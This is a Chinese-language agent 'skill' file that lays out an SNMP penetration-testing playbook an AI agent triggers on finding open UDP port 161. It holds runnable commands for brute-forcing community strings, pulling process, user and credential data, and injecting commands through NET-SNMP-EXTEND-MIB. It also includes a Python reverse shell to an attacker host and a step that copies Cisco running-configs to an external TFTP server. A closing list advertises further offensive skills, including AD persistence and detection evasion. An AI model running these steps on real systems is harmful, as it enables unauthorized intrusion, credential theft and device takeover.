snmp-pentesting
$
npx mdskill add wgpsec/AboutSecurity/snmp-pentestingEnumerate and exploit SNMP services for network reconnaissance.
- Gathers system details, interfaces, and configurations from SNMP devices.
- Integrates with UDP port scanners and dictionary attack tools.
- Executes automated phases based on detected service versions and permissions.
- Outputs extracted MIB data and configuration files directly to the agent.
SKILL.md
.github/skills/snmp-pentestingView on GitHub ↗
---
name: snmp-pentesting
description: |
SNMP 服务(161/162 端口)渗透测试方法论。涵盖 SNMP 服务发现与版本识别、社区字符串枚举与爆破、MIB 信息提取(系统信息/网络接口/进程/软件/用户)、SNMP 写入利用(配置修改/命令执行)、已知漏洞利用。
当 Agent 扫描发现 161/162 UDP 端口开放、需要通过 SNMP 收集目标信息、枚举网络设备配置、或利用 SNMP 写权限时,触发此 Skill。
metadata:
tags:
- snmp
- 161端口
- 162端口
- 社区字符串
- mib
- snmpwalk
- onesixtyone
category: exploit/network-service
---
# SNMP 渗透测试方法论 (161/162 UDP)
## 深入参考
- SNMP 枚举与利用技术大全(OID 表 / 社区字符串爆破 / Cisco 配置提取 / RCE) -> 读 [references/snmp-techniques.md](references/snmp-techniques.md)
---
## 整体决策树
```
发现 161/162 UDP 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ 确认 SNMP 服务存在及版本 (v1 / v2c / v3)
│ ├─ 识别设备类型 (路由器/交换机/打印机/服务器/IoT)
│ └─ 判断 SNMP 版本
│ ├─ v1/v2c -> 社区字符串认证,明文传输,进入 Phase 2 爆破
│ └─ v3 -> 用户名+密码认证,加密传输,尝试字典攻击
├─ Phase 2: 社区字符串枚举
│ ├─ 尝试默认字符串 (public / private / community)
│ │ ├─ 有响应 -> 记录有效字符串及权限级别 (RO/RW)
│ │ └─ 无响应 -> 字典爆破
│ ├─ 字典爆破 (onesixtyone / hydra / nmap snmp-brute)
│ └─ 判断权限
│ ├─ 只读 (RO) -> 进入 Phase 3 信息提取
│ └─ 读写 (RW) -> 标记用于 Phase 4 写入利用
├─ Phase 3: MIB 信息提取
│ ├─ 系统基本信息 (sysDescr / sysName / sysLocation / uptime)
│ ├─ 网络接口与 IP 地址 (含 IPv6)
│ ├─ 路由表
│ ├─ 运行进程 (可能含命令行参数中的密码)
│ ├─ 已安装软件
│ ├─ 用户账户
│ ├─ TCP/UDP 监听端口
│ └─ Cisco 设备 -> 提取 running-config (需 RW 权限)
├─ Phase 4: SNMP 写入利用
│ ├─ NET-SNMP-EXTEND-MIB 命令注入 (Linux)
│ │ ├─ 注入任意命令执行
│ │ └─ 反弹 Shell
│ ├─ Cisco 配置修改 (CISCO-CONFIG-COPY-MIB)
│ │ ├─ 下载 running-config 到 TFTP
│ │ └─ 上传修改后的配置
│ └─ SNMP 值修改 (NetScanTools / snmpset)
└─ Phase 5: 已知漏洞
├─ Cisco SNMP DoS (CVE-2025-20174)
├─ Cisco ACL 绕过 (CVE-2024-20373)
└─ 设备特定漏洞 -> searchsploit / CVE 数据库
```
---
## Phase 1: 服务发现与版本识别
### 1.1 端口扫描与服务探测
```bash
# UDP 端口扫描 — 发现 SNMP 服务
nmap -sU -p 161,162,10161,10162 <IP>
# 服务版本探测 + 默认脚本
nmap -sU -sV -sC -p 161 <IP>
# SNMP 专项 Nmap 脚本 (排除爆破)
nmap -sU --script "snmp* and not snmp-brute" -p 161 <IP>
```
### 1.2 SNMP 版本识别
```
识别 SNMP 版本
├─ snmp-check <IP> -p 161
│ └─ 输出中显示支持的 SNMP 版本
├─ Nmap 脚本输出中的 version 字段
├─ Metasploit: auxiliary/scanner/snmp/snmp_enum
│ └─ 自动检测版本并枚举信息
└─ 手动测试
├─ snmpwalk -v1 -c public <IP> # 测试 v1
├─ snmpwalk -v2c -c public <IP> # 测试 v2c
└─ snmpwalk -v3 -l noAuthNoPriv -u <user> <IP> # 测试 v3
```
**关键判断**:
- v1/v2c -> 社区字符串明文传输,可嗅探,易爆破
- v3 noAuthNoPriv -> 无认证无加密,等同 v1/v2c
- v3 authNoPriv -> 有认证无加密,可字典攻击
- v3 authPriv -> 有认证有加密,最难攻击
---
## Phase 2: 社区字符串枚举
### 2.1 默认字符串测试
```bash
# 快速测试常见默认字符串
snmpwalk -v2c -c public <IP> 1.3.6.1.2.1.1.1.0
snmpwalk -v2c -c private <IP> 1.3.6.1.2.1.1.1.0
snmpwalk -v2c -c community <IP> 1.3.6.1.2.1.1.1.0
```
**判断逻辑**: v1/v2c 中,使用错误社区字符串时服务器不响应;有响应则说明字符串有效。
### 2.2 字典爆破
```
社区字符串爆破方法选择
├─ 快速批量扫描 (推荐首选)
│ └─ onesixtyone -c <wordlist> -i <targets_file>
│ └─ 字典: /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt
├─ Nmap 脚本
│ └─ nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=<wordlist> <IP>
├─ Hydra
│ └─ hydra -P <wordlist> -v <IP> snmp
└─ Metasploit
└─ auxiliary/scanner/snmp/snmp_login
```
```bash
# onesixtyone — 高速社区字符串爆破
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt <IP> -w 100
# Hydra
hydra -P /usr/share/seclists/Discovery/SNMP/snmp.txt -v <IP> snmp
# Nmap
nmap -sU -p 161 --script snmp-brute <IP>
```
### 2.3 SNMPv3 用户枚举与认证攻击
```bash
# 枚举 v3 用户名
nmap -sU -p 161 --script snmp-win32-users <IP>
# v3 字典攻击 (Metasploit)
# auxiliary/scanner/snmp/snmp_login 支持 v3 认证模式
```
### 2.4 权限判断 — RO vs RW
```bash
# 尝试写入测试 (向 sysLocation 写值)
snmpset -v2c -c <community> <IP> 1.3.6.1.2.1.1.6.0 s "test"
```
**响应判断**:
- 写入成功 -> RW 权限,标记进入 Phase 4
- `noSuchName` / `readOnly` 错误 -> RO 权限
- 无响应 -> 字符串无效或被 ACL 拦截
---
## Phase 3: MIB 信息提取
### 3.1 环境准备
```bash
# 安装 MIB 解析库 (将 OID 数字转为可读名称)
apt-get install snmp-mibs-downloader
download-mibs
# 注释 /etc/snmp/snmp.conf 中的 "mibs :" 行
```
### 3.2 全量信息枚举
```bash
# snmpbulkwalk — 高效批量遍历 (v2c)
snmpbulkwalk -c <community> -v2c <IP> .
# snmpwalk — 完整遍历
snmpwalk -v2c -c <community> <IP> .1
# snmp-check — 一站式枚举 (自动分类输出)
snmp-check <IP> -p 161 -c <community>
# Nmap 枚举脚本
nmap -sU --script "snmp* and not snmp-brute" <IP> -p 161
# 扩展对象查询 (NET-SNMP 扩展命令输出)
snmpwalk -v2c -c <community> <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
### 3.3 定向 OID 查询 — Windows 系统
```
Windows 关键 OID
├─ 系统进程数 1.3.6.1.2.1.25.1.6.0
├─ 运行程序名称 1.3.6.1.2.1.25.4.2.1.2
├─ 进程路径 1.3.6.1.2.1.25.4.2.1.4
├─ 存储单元 1.3.6.1.2.1.25.2.3.1.4
├─ 已安装软件 1.3.6.1.2.1.25.6.3.1.2
├─ 用户账户 1.3.6.1.4.1.77.1.2.25
└─ TCP 本地端口 1.3.6.1.2.1.6.13.1.3
```
```bash
# 枚举运行进程 (可能含命令行中的密码)
snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.25.4.2.1.2
# 枚举用户账户
snmpwalk -v2c -c <community> <IP> 1.3.6.1.4.1.77.1.2.25
# 枚举已安装软件
snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.25.6.3.1.2
# 枚举网络接口 (含 IPv6)
snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.4.34.1.3
# 枚举 TCP 监听端口
snmpwalk -v2c -c <community> <IP> 1.3.6.1.2.1.6.13.1.3
```
### 3.4 大规模 SNMP 数据采集与分析
```bash
# braa — 高速批量 SNMP 查询 (自带 SNMP 栈,无依赖)
braa <community>@<IP>:.1.3.6.*
```
**数据分析 — 从批量 SNMP 输出中提取关键信息**:
```bash
# 识别设备类型 (sysDescr)
grep ".1.3.6.1.2.1.1.1.0" *.snmp
# 查找私有社区字符串 (trap 数据中)
grep -i "trap" *.snmp
# 查找登录失败记录 (可能含误输为用户名的密码)
grep -i "login\|fail" *.snmp
# 提取邮箱地址
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
### 3.5 Cisco 设备专项枚举
```
Cisco 设备信息提取
├─ Metasploit snmp_enum
│ └─ use auxiliary/scanner/snmp/snmp_enum
│ 设备清单 / VLAN / 接口描述 / ARP 表
├─ running-config 提取 (需 RW 社区字符串)
│ ├─ Nmap: nmap -sU -p161 --script snmp-ios-config --script-args creds.snmp=<rw_community> <IP>
│ └─ Metasploit: auxiliary/scanner/snmp/cisco_config_tftp
└─ 手动 snmpset 配置拷贝 -> 读 references/snmp-techniques.md #Cisco配置提取
```
---
## Phase 4: SNMP 写入利用
### 4.1 攻击路径选择
```
拥有 RW 社区字符串
├─ Linux 目标 (Net-SNMP)
│ ├─ NET-SNMP-EXTEND-MIB 命令注入
│ │ ├─ 注入任意命令
│ │ └─ 反弹 Shell
│ └─ 修改 SNMP 配置值
├─ Cisco / 网络设备
│ ├─ CISCO-CONFIG-COPY-MIB 配置提取
│ │ ├─ 下载 running-config 到 TFTP
│ │ ├─ 分析凭据 (enable secret / username)
│ │ └─ 上传修改后的配置 (慎用)
│ └─ 修改路由表 / ACL (极高风险)
└─ Windows 目标
└─ 可修改部分 OID 值,影响有限
└─ 侧重 Phase 3 的信息泄露利用
```
### 4.2 Linux — NET-SNMP-EXTEND-MIB 命令执行
```bash
# 注入自定义命令 (通过 nsExtendObjects 表)
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rw_community> <IP> \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
# 触发执行 — snmpwalk 读取时命令被执行 (run-on-read)
snmpwalk -v2c -c <rw_community> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects
```
### 4.3 Linux — SNMP 反弹 Shell
```
获取 Shell 的两种方式
├─ snmp-shell 工具 (推荐)
│ └─ git clone https://github.com/mxrch/snmp-shell
│ └─ python3 shell.py <IP> -c <rw_community>
└─ 手动 reverse shell
└─ 通过 snmpset 注入 Python/Bash 反弹 shell 命令
```
```bash
# 环境准备
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell && sudo python3 -m pip install -r requirements.txt
# 手动注入 Python 反弹 shell
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rw_community> <IP> \
'nsExtendStatus."revshell"' = createAndGo \
'nsExtendCommand."revshell"' = /usr/bin/python3 \
'nsExtendArgs."revshell"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"<LHOST>\",<LPORT>));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
# 触发执行
snmpwalk -v2c -c <rw_community> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects
```
### 4.4 Cisco — 配置提取与修改
```bash
# Nmap 自动提取 running-config
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=<rw_community> <IP>
# 手动 snmpset — 将 running-config 拷贝到 TFTP
snmpset -v2c -c <rw_community> <IP> \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a <TFTP_SERVER_IP> \
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s "backup.cfg" \
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4
# Metasploit
# use auxiliary/scanner/snmp/cisco_config_tftp
```
**注意**: snmpset 的行标识符 (1234) 为一次性使用,5 分钟内重复使用会返回 `inconsistentValue` 错误。
---
## Phase 5: 已知漏洞
### 5.1 漏洞检测决策树
```
设备类型已知
├─ Cisco IOS/IOS-XE
│ ├─ CVE-2025-20174 — SNMP 子系统 DoS (认证后)
│ │ └─ 特制 SNMP 报文导致设备重载
│ ├─ CVE-2024-20373 — 扩展 ACL 处理缺陷
│ │ └─ 扩展命名 ACL 对 SNMP 访问控制失效
│ │ └─ 已知社区字符串/v3 用户可绕过 ACL 限制
│ └─ SNMPv3 地址限制绕过
│ └─ 有效 v3 用户可从受限地址查询
├─ 通用 Net-SNMP (Linux)
│ ├─ RW 社区字符串 -> Phase 4 命令注入
│ └─ 检查 snmpd.conf 中 rwuser noauth / rwcommunity 配置
├─ 通用搜索
│ ├─ searchsploit snmp
│ ├─ searchsploit <device_vendor> snmp
│ └─ nmap -sU --script "snmp-vuln*" -p 161 <IP>
└─ 默认配置审计
└─ 检查配置文件中的危险设置
├─ rwuser noauth — 无认证即可完全访问 OID 树
├─ rwcommunity / rwcommunity6 — 任意来源可读写
└─ 弱社区字符串 (public/private/community)
```
### 5.2 SNMP 配置文件审计
获取目标访问权限后,检查以下配置文件:
- `snmp.conf`
- `snmpd.conf`
- `snmp-config.xml`
```
危险配置项
├─ rwuser noauth — 完全无认证访问
├─ rwcommunity <弱字符串> — 可被爆破的读写权限
├─ rwcommunity6 — IPv6 读写权限
├─ agentAddress udp:0.0.0.0:161 — 监听所有接口
└─ 无 ACL 限制 — 任意 IP 可查询
```
### 5.3 SNMP 欺骗
```
当存在 IP ACL 限制 SNMP 访问时
├─ SNMP 使用 UDP 协议,可进行源 IP 欺骗
├─ 伪造允许的源 IP 发送 SNMP 请求
└─ 嗅探响应包获取数据
└─ 需要在网络路径上能够捕获返回流量
```
---
## SNMP 配置文件位置
| 平台 | 配置文件路径 |
|------|-------------|
| Linux (Net-SNMP) | `/etc/snmp/snmpd.conf` |
| Linux (Net-SNMP) | `/etc/snmp/snmp.conf` |
| Cisco IOS | `running-config` (通过 SNMP/CLI 获取) |
| Windows | 注册表 `HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters` |
| 通用 | `snmp-config.xml` |
---
## Metasploit 常用模块速查
| 模块 | 用途 |
|------|------|
| `auxiliary/scanner/snmp/snmp_login` | 社区字符串爆破 (v1/v2c/v3) |
| `auxiliary/scanner/snmp/snmp_enum` | SNMP 信息枚举 |
| `auxiliary/scanner/snmp/snmp_enumusers` | 用户枚举 |
| `auxiliary/scanner/snmp/snmp_enumshares` | 共享枚举 |
| `auxiliary/scanner/snmp/cisco_config_tftp` | Cisco 配置下载 |
| `auxiliary/scanner/snmp/cisco_upload_file` | Cisco 文件上传 |
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|